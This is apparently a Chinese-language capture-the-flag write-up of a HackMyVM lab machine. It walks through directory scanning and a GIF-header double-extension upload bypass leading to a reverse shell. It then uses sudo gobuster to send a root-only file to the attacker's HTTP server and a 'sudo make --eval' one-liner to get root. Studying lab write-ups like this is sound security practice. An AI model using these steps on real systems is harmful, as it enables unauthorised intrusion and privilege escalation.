
HMV-up靶机复盘
这个靶机还挺有意思的,有web还和之前的buster提权有点关系
端口扫描
1 | ┌──(root㉿kakeru)-[~/tmp] |
只开放了80端口,所以待会肯定是要反弹shell的
web探测
web是一个文件上传的界面,只允许jpg或者gif文件。
我这里试了很多方法,比如bp改后缀,双重后缀名等,都没有绕过。(都是ctf的常见套路)
最后是用gif文件的文件头+双后缀名绕过的
1 | #shell.php.gif |
┌──(root㉿kakeru)-[~/tmp]
└─# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u 192.168.58.3 -x php,js,txt,jpg,png
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url: http://192.168.58.3
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,jpg,png,php,js
[+] Timeout: 10s
Starting gobuster in directory enumeration mode
/.php (Status: 403) [Size: 277]
/index.php (Status: 200) [Size: 4489]
/uploads (Status: 301) [Size: 314] [–> http://192.168.58.3/uploads/]
/javascript (Status: 301) [Size: 317] [–> http://192.168.58.3/javascript/]
/sh.jpg (Status: 200) [Size: 1330919]
Progress: 159700 / 1245864 (12.82%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 159700 / 1245864 (12.82%)
Finished
1 | 发现有一个uploads 但是直接访问这个文件夹下刚才的文件名还是没有内容 再扫一下这个uploads文件夹下面的内容 |
┌──(root㉿kakeru)-[~/tmp]
└─# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u 192.168.58.3//uploads -x php,js,txt,jpg,png
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url: http://192.168.58.3//uploads
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: js,txt,jpg,png,php
[+] Timeout: 10s
Starting gobuster in directory enumeration mode
/.php (Status: 403) [Size: 964]
/robots.txt (Status: 200) [Size: 1301]
/.php (Status: 403) [Size: 964]
Progress: 639832 / 1245864 (51.36%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 639861 / 1245864 (51.36%)
Finished
1 | 访问robots.txt得到文件上传逻辑的源码 用base64解码 |
┌──(root㉿kakeru)-[~/tmp]
└─# echo “PD9waHAKaWYgKCRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID09PSAnUE9TVCcpIHsKICAgICR0YXJnZXREaXIgPSAidXBsb2Fkcy8iOwogICAgJGZpbGVOYW1lID0gYmFzZW5hbWUoJF9GSUxFU1siaW1hZ2UiXVsibmFtZSJdKTsKICAgICRmaWxlVHlwZSA9IHBhdGhpbmZvKCRmaWxlTmFtZSwgUEFUSElORk9fRVhURU5TSU9OKTsKICAgICRmaWxlQmFzZU5hbWUgPSBwYXRoaW5mbygkZmlsZU5hbWUsIFBBVEhJTkZPX0ZJTEVOQU1FKTsKCiAgICAkYWxsb3dlZFR5cGVzID0gWydqcGcnLCAnanBlZycsICdnaWYnXTsKICAgIGlmIChpbl9hcnJheShzdHJ0b2xvd2VyKCRmaWxlVHlwZSksICRhbGxvd2VkVHlwZXMpKSB7CiAgICAgICAgJGVuY3J5cHRlZEZpbGVOYW1lID0gc3RydHIoJGZpbGVCYXNlTmFtZSwgCiAgICAgICAgICAgICdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6JywgCiAgICAgICAgICAgICdOT1BRUlNUVVZXWFlaQUJDREVGR0hJSktMTW5vcHFyc3R1dnd4eXphYmNkZWZnaGlqa2xtJyk7CgogICAgICAgICRuZXdGaWxlTmFtZSA9ICRlbmNyeXB0ZWRGaWxlTmFtZSAuICIuIiAuICRmaWxlVHlwZTsKICAgICAgICAkdGFyZ2V0RmlsZVBhdGggPSAkdGFyZ2V0RGlyIC4gJG5ld0ZpbGVOYW1lOwoKICAgICAgICBpZiAobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbImltYWdlIl1bInRtcF9uYW1lIl0sICR0YXJnZXRGaWxlUGF0aCkpIHsKICAgICAgICAgICAgJG1lc3NhZ2UgPSAiRWwgYXJjaGl2byBzZSBoYSBzdWJpZG8gY29ycmVjdGFtZW50ZS4iOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRtZXNzYWdlID0gIkh1Ym8gdW4gZXJyb3IgYWwgc3ViaXIgZWwgYXJjaGl2by4iOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgJG1lc3NhZ2UgPSAiU29sbyBzZSBwZXJtaXRlbiBhcmNoaXZvcyBKUEcgeSBHSUYuIjsKICAgIH0KfQo/Pgo=” | base64 -d
<?php
if ($_SERVER[‘REQUEST_METHOD’] === ‘POST’) {
$targetDir = “uploads/“;
$fileName = basename($_FILES[“image”][“name”]);
$fileType = pathinfo($fileName, PATHINFO_EXTENSION);
$fileBaseName = pathinfo($fileName, PATHINFO_FILENAME);
$allowedTypes = ['jpg', 'jpeg', 'gif'];
if (in_array(strtolower($fileType), $allowedTypes)) {
$encryptedFileName = strtr($fileBaseName,
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz',
'NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm');
$newFileName = $encryptedFileName . "." . $fileType;
$targetFilePath = $targetDir . $newFileName;
if (move_uploaded_file($_FILES["image"]["tmp_name"], $targetFilePath)) {
$message = "El archivo se ha subido correctamente.";
} else {
$message = "Hubo un error al subir el archivo.";
}
} else {
$message = "Solo se permiten archivos JPG y GIF.";
}
}
?>
1 | 这里上传的文件夹确实是uploads/ 而且用了一个加密,是一个代换密码比如我们上传的是shell.php.gif,除了最后的gif,前面的字符都会变化 |
┌──(root㉿kakeru)-[~/tmp]
└─# nc -lp 1234
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
1 |
|
www-data@debian:/var/www/html/uploads$ sudo -l
Matching Defaults entries for www-data on debian:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin, use_pty
User www-data may run the following commands on debian:
(ALL) NOPASSWD: /usr/bin/gobuster
1 | 有一个gobuster的sudo权限,是不是有点似曾相识,和buster有点像啊 |
www-data@debian:/var/www/html/uploads$ ls
access_denied.html clue.txt furyy.cuc.gif robots.txt
www-data@debian:/var/www/html/uploads$ cat clue.txt
/root/rodgarpass
1 | 之前我们有gobuster权限的时候是用字典把指定路径的文件传个root的定时文件,让root可以执行 |
┌──(root㉿kakeru)-[~/tmp]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) …
www-data@debian:/var/www/html/uploads$ sudo gobuster dir -u 192.168.58.11 -w /root/rodgarpass -v
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url: http://192.168.58.11
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /root/rodgarpass
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Verbose: true
[+] Timeout: 10s
2025/03/09 08:14:33 Starting gobuster in directory enumeration mode
Missed: /b45cffe084dd3d20d928bee85e7b0f2 (Status: 404) [Size: 335]
2025/03/09 08:14:34 Finished
1 | 用-v显示具体信息,看到这个内容,这个是一个md5编码的字符,另一种是在本机可以看日志看到访问了什么路径 |
rodgar@debian:~$ sudo -l
Matching Defaults entries for rodgar on debian:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin, use_pty
User rodgar may run the following commands on debian:
(ALL : ALL) NOPASSWD: /usr/bin/gcc, /usr/bin/make
1 | 两个指令都可以提权,这里我就用make吧,在gtofbins都可以找到payload |
rodgar@debian:~$ sudo make -s –eval=$’x:\n\t-‘“/bin/bash”
root@debian:/home/rodgar# id
uid=0(root) gid=0(root) grupos=0(root)
### 总结
- 又学习到一种文件上传的绕过方式
- 根目录没有信息的时候,扫描uploads目录
- gobuster的任意文件读取
- md5的长度是32位
- md5位数不一致可以用解密网站解密,然后再加密